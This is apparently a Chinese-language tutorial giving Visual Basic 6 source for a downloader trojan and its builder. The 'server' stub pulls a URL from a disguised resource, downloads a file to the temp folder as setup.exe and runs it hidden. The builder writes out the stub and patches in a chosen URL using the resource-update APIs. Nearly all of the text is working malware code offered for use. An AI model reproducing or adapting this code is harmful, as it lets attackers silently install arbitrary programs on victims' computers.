以下就是服务端

 Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _   '取得temp目录的API
        (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long'下在文件的API

Public Sub Main()
Dim sourceUrl As String
Dim chen() As Byte
Dim targetFile As String
Dim tempPath As String
Dim len5 As Long

   Dim i As Long
  
    chen = LoadResData("HTTP", "图标") '取出数据
   For i = 0 To 184  '还原为字符
    
  If chen(i) <> 0 And chen(i) <> 32 Then
   sourceUrl = sourceUrl + Chr(chen(i))
  
  End If
  Next
   tempPath = String(255, 0)
       len5 = GetTempPath(256, tempPath)
        tempPath = Left(tempPath, len5)
 
         targetFile = tempPath + "setup.exe"  ' 保存路径
    hfile = URLDownloadToFile(0&, sourceUrl, targetFile, 0&, 0&)
If hfile = 0 Then
Shell targetFile, vbHide
End If

End Sub

保存为BAS 文件就可以了

控制台文件需要对资源文件进行读写

用到以下几个API

Public Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long

Public Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

这几个可以把它放到一个bas文件中

以下就是控制台的代码

Private Sub Command1_Click()
  Dim bwenjian As Long
  Dim wenjian As Long
  Dim ewenjian As Long
  Dim APP2() As Byte
 
   Dim astr As String * 200
  
   
  APP2 = LoadResData("EXE", "EXEFILE")
    If Dir(Text1.Text) <> "" Then
     
      MsgBox Text1.Text + "已存在"
     
      Exit Sub
   
    End If
  
   Open Text1.Text For Binary As #1
     
        Put #1, , APP2()
     
        Close #1
    
    
   
   astr = Left$(Text2.Text, 200)
      
    bwenjian = BeginUpdateResource(Text1.Text, False)' 开始一个添加资源的过程
    
    wenjian = UpdateResource(bwenjian, "图标", "HTTP", 2052, ByVal astr, 200) ' 添加资源
   
   ewenjian = EndUpdateResource(bwenjian, False) ' 结束添加资源过程

End Sub

Private Sub Form_Load()
Text1.Text = App.Path & "\XZ.Exe" '  默认的服务端文件名
End Sub

当然你要把 服务端的EXE导入里面存为资源